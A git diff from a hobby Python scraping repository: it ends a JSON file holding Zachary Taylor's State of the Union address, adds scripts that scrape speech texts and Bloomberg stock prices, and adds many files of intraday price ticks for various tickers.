sufficient to sustain the whole expense of the service of the\nPost-Office Department, not including the cost of transportation in mail\nsteamers on the lines from New York to Chagres and from Panama to Astoria,\nwhich have not been considered by Congress as properly belonging to the\nmail service.It is submitted to the wisdom of Congress whether a further reduction of\npostage should not now be made, more particularly on the letter\ncorrespondence. This should be relieved from the unjust burden of\ntransporting and delivering the franked matter of Congress, for which\npublic service provision should be made from the Treasury. I confidently\nbelieve that a change may safely be made reducing all single letter postage\nto the uniform rate of 5 cents, regardless of distance, without thereby\nimposing any greater tax on the Treasury than would constitute a very\nmoderate compensation for this public service; and I therefore respectfully\nrecommend such a reduction. Should Congress prefer to abolish the franking\nprivilege entirely, it seems probable that no demand on the Treasury would\nresult from the proposed reduction of postage. Whether any further\ndiminution should now be made, or the result of the reduction to 5 cents,\nwhich I have recommended, should be first tested, is submitted to your\ndecision.Since the commencement of the last session of Congress a postal treaty with\nGreat Britain has been received and ratified, and such relations have been\nformed by the post-office departments of the two countries in pursuance of\nthat treaty as to carry its provisions into full operation. The attempt to\nextend this same arrangement through England to France has not been equally\nsuccessful, but the purpose has not been abandoned.For a particular statement of the condition of the Post-Office Department\nand other matters connected with that branch of the public service I refer\nyou to the report of the Postmaster-General.By the act of the 3d of March, 1849, a board was constituted to make\narrangements for taking the Seventh Census, composed of the Secretary of\nState, the Attorney-General, and the Postmaster-General; and it was made\nthe duty of this board \"to prepare and cause to be printed such forms and\nschedules as might be necessary for the full enumeration of the inhabitants\nof the United States, and also proper forms and schedules for collecting in\nstatistical tables, under proper heads, such information as to mines,\nagriculture, commerce, manufactures, education, and other topics as would\nexhibit a full view of the pursuits, industry, education, and resources of\nthe country.\" The duties enjoined upon the census board thus established\nhaving been performed, it now rests with Congress to enact a law for\ncarrying into effect the provision of the Constitution which requires an\nactual enumeration of the people of the United States within the ensuing\nyear.Among the duties assigned by the Constitution to the General Government is\none of local and limited application, but not on that account the less\nobligatory. I allude to the trust committed to Congress as the exclusive\nlegislator and sole guardian of the interests of the District of Columbia.\nI beg to commend these interests to your kind attention. As the national\nmetropolis the city of Washington must be an object of general interest;\nand founded, as it was, under the auspices of him whose immortal name it\nbears, its claims to the fostering care of Congress present themselves with\nadditional strength. Whatever can contribute to its prosperity must enlist\nthe feelings of its constitutional guardians and command their favorable\nconsideration.Our Government is one of limited powers, and its successful administration\neminently depends on the confinement of each of its coordinate branches\nwithin its own appropriate sphere. The first section of the Constitution\nordains that--All legislative powers herein granted shall be vested in a Congress of the\nUnited States, which shall consist of a Senate and House of\nRepresentatives.The Executive has authority to recommend (not to dictate) measures to\nCongress. Having performed that duty, the executive department of the\nGovernment can not rightfully control the decision of Congress on any\nsubject of legislation until that decision shall have been officially\nsubmitted to the President for approval. The check provided by the\nConstitution in the clause conferring the qualified veto will never be\nexercised by me except in the cases contemplated by the fathers of the\nRepublic. I view it as an extreme measure, to be resorted to only in\nextraordinary cases, as where it may become necessary to defend the\nexecutive against the encroachments of the legislative power or to prevent\nhasty and inconsiderate or unconstitutional legislation. By cautiously\nconfining this remedy within the sphere prescribed to it in the\ncontemporaneous expositions of the framers of the Constitution, the will of\nthe people, legitimately expressed on all subjects of legislation through\ntheir constitutional organs, the Senators and Representatives of the United\nStates, will have its full effect. As indispensable to the preservation of\nour system of self-government, the independence of the representatives of\nthe States and the people is guaranteed by the Constitution, and they owe\nno responsibility to any human power but their constituents. By holding the\nrepresentative responsible only to the people, and exempting him from all\nother influences, we elevate the character of the constituent and quicken\nhis sense of responsibility to his country. It is under these circumstances\nonly that the elector can feel that in the choice of the lawmaker he is\nhimself truly a component part of the sovereign power of the nation. With\nequal care we should study to defend the rights of the executive and\njudicial departments. Our Government can only be preserved in its purity by\nthe suppression and entire elimination of every claim or tendency of one\ncoordinate branch to encroachment upon another. With the strict observance\nof this rule and the other injunctions of the Constitution, with a sedulous\ninculcation of that respect and love for the Union of the States which our\nfathers cherished and enjoined upon their children, and with the aid of\nthat overruling Providence which has so long and so kindly guarded our\nliberties and institutions, we may reasonably expect to transmit them, with\ntheir innumerable blessings, to the remotest posterity.But attachment to the Union of the States should be habitually fostered in\nevery American heart. For more than half a century, during which kingdoms\nand empires have fallen, this Union has stood unshaken. The patriots who\nformed it have long since descended to the grave; yet still it remains, the\nproudest monument to their memory and the object of affection and\nadmiration with everyone worthy to bear the American name. In my judgment\nits dissolution would be the greatest of calamities, and to avert that\nshould be the study of every American. Upon its preservation must depend\nour own happiness and that of countless generations to come. Whatever\ndangers may threaten it, I shall stand by it and maintain it in its\nintegrity to the full extent of the obligations imposed and the powers\nconferred upon me by the Constitution.Z. TAYLOR.", 
+    "name": "Zachary Taylor"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/script.py b/pyscrapper/stateofunion/script.py
new file mode 100755
index 00000000..13dc152b
--- /dev/null
+++ b/pyscrapper/stateofunion/script.py
@@ -0,0 +1,34 @@
+import json
+
+from BeautifulSoup import BeautifulSoup
+from mechanize import Browser
+
+br = Browser()
+br.open("http://stateoftheunion.onetwothree.net/texts/index.html")
+
+urllist = []
+
+print "Fetching urllist ..."
+count = 0
+for link in br.links():
+	count += 1
+	context = link.text.split(",")
+	urllist.append(link.base_url.replace("index.html", "") + link.url)
+	print "Fetched link", count
+
+for url in urllist[5:-2]:
+	br.open(url)
+	soup = BeautifulSoup(br.response().read())
+	speech = ""
+	for p in soup.findAll("p"):
+		speech += p.text
+	name = soup.find("h2").text
+	date = soup.find("h3").text
+	resp = {
+	'name': name,
+	'date': date,
+	'speech': speech
+	}
+	outfile = open("ScrapedData/"+name+date+".json","w")
+	json.dump(resp, outfile, indent = 4)
+	print "Creating response for", name, date
diff --git a/pyscrapper/stock_finance/bloomberg.py b/pyscrapper/stock_finance/bloomberg.py
new file mode 100755
index 00000000..e7f8dd3c
--- /dev/null
+++ b/pyscrapper/stock_finance/bloomberg.py
@@ -0,0 +1,10 @@
+'''
+Scrapping from bloomberg, parsing json response
+'''
+import json
+import urllib
+
+url = "http://www.bloomberg.com/markets/watchlist/recent-ticker/AAPL:US"
+htmlfile = urllib.urlopen(url)
+data = json.load(htmlfile)
+print "Last Closing price of AAPL today is (bloomberg):",data["last_price"]
diff --git a/pyscrapper/stock_finance/bloomberg_chart.py b/pyscrapper/stock_finance/bloomberg_chart.py
new file mode 100755
index 00000000..3aa9d952
--- /dev/null
+++ b/pyscrapper/stock_finance/bloomberg_chart.py
@@ -0,0 +1,21 @@
+'''
+Reading symbols from file, Scrapping from bloomberg's chart (network response) for day stock price, writing it to a file in new folder
+'''
+
+import json
+import urllib
+
+symbolslist = open("symbols_less.txt").read()
+symbolslist = symbolslist.split("\n")
+for symbol in symbolslist:
+	myfile = open("daily_prices/" + symbol + ".txt", "w+")
+	myfile.close()
+
+	htmltext = urllib.urlopen("http://www.bloomberg.com/markets/chart/data/1D/" + symbol + ":US")
+	data = json.load(htmltext)
+	datapoints = data['data_values']
+	
+	myfile = open("daily_prices/" + symbol + ".txt","a")
+	for point in datapoints:
+		myfile.write(str(symbol + "," + str(point[0]) + "," + str(point[1]) + "\n"))
+	myfile.close()
diff --git a/pyscrapper/stock_finance/daily_prices/.txt b/pyscrapper/stock_finance/daily_prices/.txt
new file mode 100755
index 00000000..e69de29b
diff --git a/pyscrapper/stock_finance/daily_prices/AAON.txt b/pyscrapper/stock_finance/daily_prices/AAON.txt
new file mode 100755
index 00000000..3977e630
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/AAON.txt
@@ -0,0 +1,128 @@
+AAON,1388136600000,32.82
+AAON,1388136720000,32.87
+AAON,1388136840000,32.89
+AAON,1388136900000,32.93
+AAON,1388136960000,33.03
+AAON,1388137020000,32.74
+AAON,1388137080000,32.95
+AAON,1388137200000,32.94
+AAON,1388137320000,32.94
+AAON,1388137440000,32.63
+AAON,1388137560000,32.9
+AAON,1388137620000,32.67
+AAON,1388137680000,32.87
+AAON,1388137800000,32.85
+AAON,1388138040000,32.89
+AAON,1388138160000,32.9
+AAON,1388138400000,32.9
+AAON,1388138520000,32.86
+AAON,1388138640000,32.85
+AAON,1388138700000,32.9
+AAON,1388138760000,33.0
+AAON,1388138880000,32.99
+AAON,1388139000000,33.09
+AAON,1388139120000,33.06
+AAON,1388139240000,32.99
+AAON,1388139300000,32.98
+AAON,1388139420000,33.13
+AAON,1388139480000,33.1
+AAON,1388139540000,33.05
+AAON,1388139600000,33.0
+AAON,1388139660000,32.99
+AAON,1388139780000,33.01
+AAON,1388139900000,32.99
+AAON,1388140020000,32.96
+AAON,1388140140000,32.93
+AAON,1388140260000,32.93
+AAON,1388140380000,32.94
+AAON,1388140500000,32.95
+AAON,1388140620000,32.98
+AAON,1388140740000,32.95
+AAON,1388141040000,32.83
+AAON,1388141100000,32.75
+AAON,1388141220000,32.98
+AAON,1388141280000,32.87
+AAON,1388141340000,32.87
+AAON,1388141460000,32.96
+AAON,1388141580000,32.96
+AAON,1388141700000,32.77
+AAON,1388141820000,32.97
+AAON,1388141940000,32.96
+AAON,1388142120000,32.95
+AAON,1388142180000,33.04
+AAON,1388142240000,32.945
+AAON,1388142420000,32.99
+AAON,1388142540000,33.01
+AAON,1388142660000,33.0
+AAON,1388142780000,33.03
+AAON,1388142900000,33.07
+AAON,1388143020000,33.04
+AAON,1388143140000,33.07
+AAON,1388143260000,33.07
+AAON,1388143440000,33.13
+AAON,1388143500000,32.98
+AAON,1388143560000,32.98
+AAON,1388143680000,33.05
+AAON,1388143740000,32.88
+AAON,1388143800000,32.94
+AAON,1388143920000,32.99
+AAON,1388144040000,32.99
+AAON,1388144100000,32.99
+AAON,1388144160000,33.0
+AAON,1388144220000,32.9
+AAON,1388144280000,32.8
+AAON,1388144340000,32.875
+AAON,1388144400000,32.9
+AAON,1388144460000,32.891
+AAON,1388144520000,33.0
+AAON,1388144580000,32.9
+AAON,1388144640000,32.99
+AAON,1388144760000,32.99
+AAON,1388144820000,32.882
+AAON,1388144880000,32.87
+AAON,1388144940000,32.9296
+AAON,1388145000000,32.86
+AAON,1388145060000,32.89
+AAON,1388145120000,32.8
+AAON,1388145240000,32.78
+AAON,1388145360000,32.83
+AAON,1388145480000,32.81
+AAON,1388145540000,32.72
+AAON,1388145600000,32.795
+AAON,1388145720000,32.7
+AAON,1388145780000,32.8481
+AAON,1388145840000,32.82
+AAON,1388145960000,32.85
+AAON,1388146080000,32.79
+AAON,1388146200000,32.82
+AAON,1388146320000,32.75
+AAON,1388146380000,32.715
+AAON,1388146440000,32.71
+AAON,1388146500000,32.71
+AAON,1388146560000,32.662
+AAON,1388146680000,32.643
+AAON,1388146740000,32.695
+AAON,1388146800000,32.64
+AAON,1388146860000,32.642
+AAON,1388146920000,32.642
+AAON,1388147160000,32.79
+AAON,1388147220000,32.72
+AAON,1388147280000,32.79
+AAON,1388147460000,32.91
+AAON,1388147580000,32.85
+AAON,1388147700000,32.88
+AAON,1388147760000,32.712
+AAON,1388147820000,32.82
+AAON,1388147940000,32.84
+AAON,1388148180000,32.83
+AAON,1388148240000,32.8
+AAON,1388148300000,32.8
+AAON,1388148420000,32.86
+AAON,1388148540000,32.86
+AAON,1388148600000,32.664
+AAON,1388148660000,32.83
+AAON,1388148780000,32.8
+AAON,1388148840000,32.664
+AAON,1388148900000,32.72
+AAON,1388148960000,32.7
+AAON,1388149020000,32.82
diff --git a/pyscrapper/stock_finance/daily_prices/AAPL.txt b/pyscrapper/stock_finance/daily_prices/AAPL.txt
new file mode 100755
index 00000000..bf43ee9d
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/AAPL.txt
@@ -0,0 +1,208 @@
+AAPL,1388136600000,563.82
+AAPL,1388136660000,562.986
+AAPL,1388136720000,562.23
+AAPL,1388136780000,563.17
+AAPL,1388136840000,563.56
+AAPL,1388136900000,563.4
+AAPL,1388136960000,563.02
+AAPL,1388137020000,563.099
+AAPL,1388137080000,562.56
+AAPL,1388137140000,563.11
+AAPL,1388137200000,562.76
+AAPL,1388137260000,563.61
+AAPL,1388137320000,563.58
+AAPL,1388137380000,564.13
+AAPL,1388137440000,563.24
+AAPL,1388137500000,562.84
+AAPL,1388137560000,562.933
+AAPL,1388137620000,563.0
+AAPL,1388137680000,562.78
+AAPL,1388137740000,562.5
+AAPL,1388137800000,562.0
+AAPL,1388137860000,561.94
+AAPL,1388137920000,562.07
+AAPL,1388137980000,562.14
+AAPL,1388138040000,562.3
+AAPL,1388138100000,562.04
+AAPL,1388138160000,561.45
+AAPL,1388138220000,561.25
+AAPL,1388138280000,561.59
+AAPL,1388138340000,561.48
+AAPL,1388138400000,561.088
+AAPL,1388138460000,561.72
+AAPL,1388138520000,561.552
+AAPL,1388138580000,561.22
+AAPL,1388138640000,561.68
+AAPL,1388138700000,562.25
+AAPL,1388138760000,562.52
+AAPL,1388138820000,562.34
+AAPL,1388138880000,562.63
+AAPL,1388138940000,562.38
+AAPL,1388139000000,562.19
+AAPL,1388139060000,561.9
+AAPL,1388139120000,561.918
+AAPL,1388139180000,561.78
+AAPL,1388139240000,561.582
+AAPL,1388139300000,561.639
+AAPL,1388139360000,561.688
+AAPL,1388139420000,562.01
+AAPL,1388139480000,562.0
+AAPL,1388139540000,561.687
+AAPL,1388139600000,561.61
+AAPL,1388139660000,561.651
+AAPL,1388139720000,561.29
+AAPL,1388139780000,561.5
+AAPL,1388139840000,561.88
+AAPL,1388139900000,561.8
+AAPL,1388139960000,561.9
+AAPL,1388140020000,561.938
+AAPL,1388140080000,561.52
+AAPL,1388140140000,561.31
+AAPL,1388140200000,561.391
+AAPL,1388140260000,561.075
+AAPL,1388140320000,560.95
+AAPL,1388140380000,560.98
+AAPL,1388140440000,560.935
+AAPL,1388140500000,560.97
+AAPL,1388140560000,561.05
+AAPL,1388140620000,561.04
+AAPL,1388140680000,561.0
+AAPL,1388140740000,560.87
+AAPL,1388140800000,560.82
+AAPL,1388140860000,560.35
+AAPL,1388140920000,560.35
+AAPL,1388140980000,560.15
+AAPL,1388141040000,560.492
+AAPL,1388141100000,560.36
+AAPL,1388141160000,560.57
+AAPL,1388141220000,560.579
+AAPL,1388141280000,560.42
+AAPL,1388141340000,560.38
+AAPL,1388141400000,560.171
+AAPL,1388141460000,560.36
+AAPL,1388141520000,560.22
+AAPL,1388141580000,559.945
+AAPL,1388141640000,560.035
+AAPL,1388141700000,559.83
+AAPL,1388141760000,559.82
+AAPL,1388141820000,559.75
+AAPL,1388141880000,559.94
+AAPL,1388141940000,559.975
+AAPL,1388142000000,559.654
+AAPL,1388142060000,559.91
+AAPL,1388142120000,560.23
+AAPL,1388142180000,560.04
+AAPL,1388142240000,559.74
+AAPL,1388142300000,559.78
+AAPL,1388142360000,559.95
+AAPL,1388142420000,559.93
+AAPL,1388142480000,559.84
+AAPL,1388142540000,559.854
+AAPL,1388142600000,559.796
+AAPL,1388142660000,560.14
+AAPL,1388142720000,560.09
+AAPL,1388142780000,560.1
+AAPL,1388142840000,560.18
+AAPL,1388142900000,560.338
+AAPL,1388142960000,560.125
+AAPL,1388143020000,560.16
+AAPL,1388143080000,560.3
+AAPL,1388143140000,560.11
+AAPL,1388143200000,560.14
+AAPL,1388143260000,560.068
+AAPL,1388143320000,559.86
+AAPL,1388143380000,559.66
+AAPL,1388143440000,559.85
+AAPL,1388143500000,559.8
+AAPL,1388143560000,559.9
+AAPL,1388143620000,560.032
+AAPL,1388143680000,559.92
+AAPL,1388143740000,560.09
+AAPL,1388143800000,560.34
+AAPL,1388143860000,560.32
+AAPL,1388143920000,560.29
+AAPL,1388143980000,560.29
+AAPL,1388144040000,560.14
+AAPL,1388144100000,560.056
+AAPL,1388144160000,559.92
+AAPL,1388144220000,559.92
+AAPL,1388144280000,560.1
+AAPL,1388144340000,560.14
+AAPL,1388144400000,560.09
+AAPL,1388144460000,560.22
+AAPL,1388144520000,559.95
+AAPL,1388144580000,560.075
+AAPL,1388144640000,560.16
+AAPL,1388144700000,560.26
+AAPL,1388144760000,560.177
+AAPL,1388144820000,560.287
+AAPL,1388144880000,560.03
+AAPL,1388144940000,559.87
+AAPL,1388145000000,559.758
+AAPL,1388145060000,559.74
+AAPL,1388145120000,559.81
+AAPL,1388145180000,559.87
+AAPL,1388145240000,559.767
+AAPL,1388145300000,559.83
+AAPL,1388145360000,559.83
+AAPL,1388145420000,559.9
+AAPL,1388145480000,559.94
+AAPL,1388145540000,559.9
+AAPL,1388145600000,559.95
+AAPL,1388145660000,560.0
+AAPL,1388145720000,560.05
+AAPL,1388145780000,560.21
+AAPL,1388145840000,560.248
+AAPL,1388145900000,560.3
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diff --git a/pyscrapper/stock_finance/daily_prices/ABAX.txt b/pyscrapper/stock_finance/daily_prices/ABAX.txt
new file mode 100755
index 00000000..446549aa
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/ABAX.txt
@@ -0,0 +1,100 @@
+ABAX,1388136660000,38.98
+ABAX,1388136900000,39.31
+ABAX,1388137200000,39.3
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diff --git a/pyscrapper/stock_finance/daily_prices/ABGB.txt b/pyscrapper/stock_finance/daily_prices/ABGB.txt
new file mode 100755
index 00000000..2958a0b6
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/ABGB.txt
@@ -0,0 +1,22 @@
+ABGB,1388136600000,15.17
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diff --git a/pyscrapper/stock_finance/daily_prices/ABMD.txt b/pyscrapper/stock_finance/daily_prices/ABMD.txt
new file mode 100755
index 00000000..795fe5b1
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/ABMD.txt
@@ -0,0 +1,62 @@
+ABMD,1388136600000,27.06
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diff --git a/pyscrapper/stock_finance/daily_prices/ACHC.txt b/pyscrapper/stock_finance/daily_prices/ACHC.txt
new file mode 100755
index 00000000..2f880023
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/ACHC.txt
@@ -0,0 +1,136 @@
+ACHC,1388136600000,48.12
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diff --git a/pyscrapper/stock_finance/daily_prices/ACTG.txt b/pyscrapper/stock_finance/daily_prices/ACTG.txt
new file mode 100755
index 00000000..895fecaf
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/ACTG.txt
@@ -0,0 +1,138 @@
+ACTG,1388136600000,14.49
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+ACTG,1388148360000,14.26
+ACTG,1388148600000,14.2699
+ACTG,1388148660000,14.26
+ACTG,1388148900000,14.28
+ACTG,1388148960000,14.28
+ACTG,1388149020000,14.3
diff --git a/pyscrapper/stock_finance/daily_prices/ASTM.txt b/pyscrapper/stock_finance/daily_prices/ASTM.txt
new file mode 100755
index 00000000..9810f8cc
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/ASTM.txt
@@ -0,0 +1,34 @@
+ASTM,1388136600000,3.33
+ASTM,1388136960000,3.3
+ASTM,1388137020000,3.35
+ASTM,1388137440000,3.31
+ASTM,1388137980000,3.31
+ASTM,1388138160000,3.3399
+ASTM,1388138280000,3.3399
+ASTM,1388139000000,3.3
+ASTM,1388139180000,3.3299
+ASTM,1388139480000,3.33
+ASTM,1388141040000,3.31
+ASTM,1388141160000,3.291
+ASTM,1388141340000,3.29
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+ASTM,1388141640000,3.2899
+ASTM,1388141700000,3.28
+ASTM,1388141820000,3.28
+ASTM,1388141880000,3.26
+ASTM,1388142240000,3.2899
+ASTM,1388142360000,3.27
+ASTM,1388143260000,3.27
+ASTM,1388143320000,3.2899
+ASTM,1388143860000,3.26
+ASTM,1388145120000,3.271
+ASTM,1388145180000,3.2711
+ASTM,1388145840000,3.2701
+ASTM,1388145900000,3.29
+ASTM,1388146440000,3.2701
+ASTM,1388146560000,3.26
+ASTM,1388147700000,3.29
+ASTM,1388147940000,3.29
+ASTM,1388148120000,3.3001
+ASTM,1388148180000,3.3
+ASTM,1388148840000,3.3
diff --git a/pyscrapper/stock_finance/daily_prices/AVHI.txt b/pyscrapper/stock_finance/daily_prices/AVHI.txt
new file mode 100755
index 00000000..1223d9de
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/AVHI.txt
@@ -0,0 +1,15 @@
+AVHI,1388136600000,18.05
+AVHI,1388139180000,17.98
+AVHI,1388141100000,17.74
+AVHI,1388141160000,17.65
+AVHI,1388141340000,17.65
+AVHI,1388141520000,17.625
+AVHI,1388142960000,17.625
+AVHI,1388143140000,17.625
+AVHI,1388145360000,17.625
+AVHI,1388147040000,17.65
+AVHI,1388147160000,17.62
+AVHI,1388147400000,17.69
+AVHI,1388147460000,17.84
+AVHI,1388148360000,17.65
+AVHI,1388148780000,17.65
diff --git a/pyscrapper/stock_finance/daily_prices/AXAS.txt b/pyscrapper/stock_finance/daily_prices/AXAS.txt
new file mode 100755
index 00000000..d2c6bfa2
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/AXAS.txt
@@ -0,0 +1,181 @@
+AXAS,1388136600000,3.5
+AXAS,1388136660000,3.48
+AXAS,1388136720000,3.48
+AXAS,1388136780000,3.46
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+AXAS,1388137440000,3.4136
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+AXAS,1388137920000,3.41
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+AXAS,1388138100000,3.409
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+AXAS,1388147460000,3.3999
+AXAS,1388147520000,3.39
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+AXAS,1388147760000,3.385
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+AXAS,1388147940000,3.385
+AXAS,1388148000000,3.39
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+AXAS,1388148660000,3.4095
+AXAS,1388148720000,3.395
+AXAS,1388148780000,3.39
+AXAS,1388148960000,3.4
+AXAS,1388149020000,3.4
diff --git a/pyscrapper/stock_finance/daily_prices/EGHT.txt b/pyscrapper/stock_finance/daily_prices/EGHT.txt
new file mode 100755
index 00000000..ee840f47
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/EGHT.txt
@@ -0,0 +1,180 @@
+EGHT,1388136600000,10.44
+EGHT,1388136660000,10.44
+EGHT,1388136720000,10.48
+EGHT,1388136780000,10.49
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+EGHT,1388136900000,10.49
+EGHT,1388136960000,10.48
+EGHT,1388137020000,10.49
+EGHT,1388137140000,10.49
+EGHT,1388137200000,10.5
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+EGHT,1388137320000,10.54
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+EGHT,1388137440000,10.54
+EGHT,1388137500000,10.53
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+EGHT,1388137620000,10.55
+EGHT,1388137680000,10.56
+EGHT,1388137740000,10.55
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+EGHT,1388137860000,10.539
+EGHT,1388137920000,10.54
+EGHT,1388137980000,10.55
+EGHT,1388138040000,10.56
+EGHT,1388138100000,10.58
+EGHT,1388138160000,10.56
+EGHT,1388138220000,10.6
+EGHT,1388138280000,10.64
+EGHT,1388138340000,10.63
+EGHT,1388138400000,10.61
+EGHT,1388138460000,10.62
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+EGHT,1388138580000,10.63
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+EGHT,1388138700000,10.63
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+EGHT,1388138880000,10.64
+EGHT,1388138940000,10.64
+EGHT,1388139000000,10.655
+EGHT,1388139060000,10.66
+EGHT,1388139120000,10.67
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+EGHT,1388139480000,10.685
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+EGHT,1388139780000,10.675
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+EGHT,1388140320000,10.6445
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+EGHT,1388141040000,10.545
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+EGHT,1388142000000,10.5
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+EGHT,1388144340000,10.441
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+EGHT,1388144460000,10.4023
+EGHT,1388144520000,10.4
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+EGHT,1388145360000,10.381
+EGHT,1388145540000,10.375
+EGHT,1388145660000,10.38
+EGHT,1388145840000,10.37
+EGHT,1388145900000,10.3712
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+EGHT,1388146080000,10.3705
+EGHT,1388146140000,10.37
+EGHT,1388146200000,10.32
+EGHT,1388146260000,10.33
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+EGHT,1388146740000,10.3
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+EGHT,1388146980000,10.309
+EGHT,1388147100000,10.3
+EGHT,1388147280000,10.31
+EGHT,1388147340000,10.315
+EGHT,1388147400000,10.316
+EGHT,1388147520000,10.319
+EGHT,1388147580000,10.32
+EGHT,1388147640000,10.32
+EGHT,1388147700000,10.31
+EGHT,1388147760000,10.3
+EGHT,1388147880000,10.3
+EGHT,1388147940000,10.3
+EGHT,1388148000000,10.3
+EGHT,1388148060000,10.3
+EGHT,1388148120000,10.31
+EGHT,1388148240000,10.3
+EGHT,1388148300000,10.28
+EGHT,1388148360000,10.28
+EGHT,1388148420000,10.27
+EGHT,1388148480000,10.28
+EGHT,1388148540000,10.27
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diff --git a/pyscrapper/stock_finance/daily_prices/FCCY.txt b/pyscrapper/stock_finance/daily_prices/FCCY.txt
new file mode 100755
index 00000000..d055f473
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/FCCY.txt
@@ -0,0 +1,7 @@
+FCCY,1388136600000,11.24
+FCCY,1388138100000,11.0
+FCCY,1388139180000,11.0
+FCCY,1388140380000,11.0
+FCCY,1388141640000,11.0
+FCCY,1388143140000,11.0
+FCCY,1388144760000,11.0
diff --git a/pyscrapper/stock_finance/daily_prices/FCTY.txt b/pyscrapper/stock_finance/daily_prices/FCTY.txt
new file mode 100755
index 00000000..1fafdd01
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/FCTY.txt
@@ -0,0 +1,6 @@
+FCTY,1388137380000,7.19
+FCTY,1388137440000,7.18
+FCTY,1388139060000,7.12
+FCTY,1388142900000,7.14
+FCTY,1388144640000,7.101
+FCTY,1388148780000,7.17
diff --git a/pyscrapper/stock_finance/daily_prices/FLWS.txt b/pyscrapper/stock_finance/daily_prices/FLWS.txt
new file mode 100755
index 00000000..2974f370
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/FLWS.txt
@@ -0,0 +1,86 @@
+FLWS,1388136780000,5.52
+FLWS,1388136840000,5.52
+FLWS,1388137080000,5.51
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+FLWS,1388144640000,5.45
+FLWS,1388144700000,5.46
+FLWS,1388144880000,5.46
+FLWS,1388145060000,5.46
+FLWS,1388145120000,5.46
+FLWS,1388145300000,5.46
+FLWS,1388145540000,5.45
+FLWS,1388145900000,5.45
+FLWS,1388146140000,5.461
+FLWS,1388146260000,5.45
+FLWS,1388146560000,5.45
+FLWS,1388146680000,5.4585
+FLWS,1388146740000,5.455
+FLWS,1388146800000,5.46
+FLWS,1388146860000,5.48
+FLWS,1388147100000,5.47
+FLWS,1388147160000,5.47
+FLWS,1388147220000,5.46
+FLWS,1388147580000,5.45
+FLWS,1388147760000,5.45
+FLWS,1388147940000,5.45
+FLWS,1388148000000,5.45
+FLWS,1388148180000,5.45
+FLWS,1388148300000,5.45
+FLWS,1388148720000,5.45
+FLWS,1388148780000,5.45
+FLWS,1388148900000,5.45
diff --git a/pyscrapper/stock_finance/daily_prices/FUBC.txt b/pyscrapper/stock_finance/daily_prices/FUBC.txt
new file mode 100755
index 00000000..6cb90111
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/FUBC.txt
@@ -0,0 +1,24 @@
+FUBC,1388136600000,7.82
+FUBC,1388136720000,7.8
+FUBC,1388136900000,7.8
+FUBC,1388137800000,7.8
+FUBC,1388138520000,7.7999
+FUBC,1388139120000,7.79
+FUBC,1388139600000,7.78
+FUBC,1388139720000,7.77
+FUBC,1388140200000,7.7898
+FUBC,1388140920000,7.771
+FUBC,1388141100000,7.7899
+FUBC,1388141160000,7.79
+FUBC,1388142660000,7.7799
+FUBC,1388142780000,7.78
+FUBC,1388143440000,7.79
+FUBC,1388146380000,7.7901
+FUBC,1388146620000,7.791
+FUBC,1388146980000,7.795
+FUBC,1388147160000,7.8
+FUBC,1388147760000,7.795
+FUBC,1388147880000,7.8
+FUBC,1388148120000,7.8
+FUBC,1388148720000,7.79
+FUBC,1388148960000,7.78
diff --git a/pyscrapper/stock_finance/daily_prices/JOBS.txt b/pyscrapper/stock_finance/daily_prices/JOBS.txt
new file mode 100755
index 00000000..5e9b9fb7
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/JOBS.txt
@@ -0,0 +1,19 @@
+JOBS,1388136600000,77.48
+JOBS,1388137140000,77.75
+JOBS,1388137200000,77.72
+JOBS,1388137500000,77.82
+JOBS,1388138400000,77.94
+JOBS,1388138940000,77.792
+JOBS,1388139900000,78.1
+JOBS,1388139960000,78.15
+JOBS,1388140800000,78.14
+JOBS,1388142120000,78.15
+JOBS,1388142240000,78.14
+JOBS,1388142300000,78.14
+JOBS,1388142720000,78.18
+JOBS,1388143200000,78.25
+JOBS,1388144460000,78.88
+JOBS,1388144820000,78.58
+JOBS,1388145060000,78.64
+JOBS,1388146680000,78.66
+JOBS,1388148000000,78.8342
diff --git a/pyscrapper/stock_finance/daily_prices/SHLM.txt b/pyscrapper/stock_finance/daily_prices/SHLM.txt
new file mode 100755
index 00000000..a6174369
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/SHLM.txt
@@ -0,0 +1,54 @@
+SHLM,1388136600000,35.25
+SHLM,1388136660000,34.98
+SHLM,1388136840000,34.94
+SHLM,1388136900000,35.08
+SHLM,1388137020000,35.05
+SHLM,1388137080000,34.96
+SHLM,1388137200000,34.96
+SHLM,1388137380000,34.91
+SHLM,1388137500000,34.9
+SHLM,1388137560000,34.901
+SHLM,1388138040000,35.0
+SHLM,1388138220000,35.07
+SHLM,1388138760000,34.94
+SHLM,1388138820000,34.93
+SHLM,1388138880000,34.93
+SHLM,1388139060000,34.87
+SHLM,1388139120000,34.87
+SHLM,1388139180000,34.821
+SHLM,1388139240000,34.82
+SHLM,1388139360000,34.85
+SHLM,1388139420000,34.8
+SHLM,1388139480000,34.74
+SHLM,1388139720000,34.721
+SHLM,1388139780000,34.75
+SHLM,1388139840000,34.681
+SHLM,1388140020000,34.79
+SHLM,1388140200000,34.776
+SHLM,1388140260000,34.88
+SHLM,1388140320000,34.79
+SHLM,1388140560000,34.87
+SHLM,1388140680000,34.88
+SHLM,1388140860000,34.81
+SHLM,1388141220000,34.82
+SHLM,1388141460000,34.82
+SHLM,1388141880000,34.87
+SHLM,1388142120000,34.85
+SHLM,1388142300000,34.87
+SHLM,1388142420000,34.88
+SHLM,1388142720000,34.95
+SHLM,1388143260000,34.95
+SHLM,1388143320000,35.0299
+SHLM,1388143380000,34.95
+SHLM,1388143740000,34.97
+SHLM,1388144340000,34.975
+SHLM,1388145660000,34.99
+SHLM,1388145960000,34.99
+SHLM,1388146260000,35.0
+SHLM,1388146560000,34.96
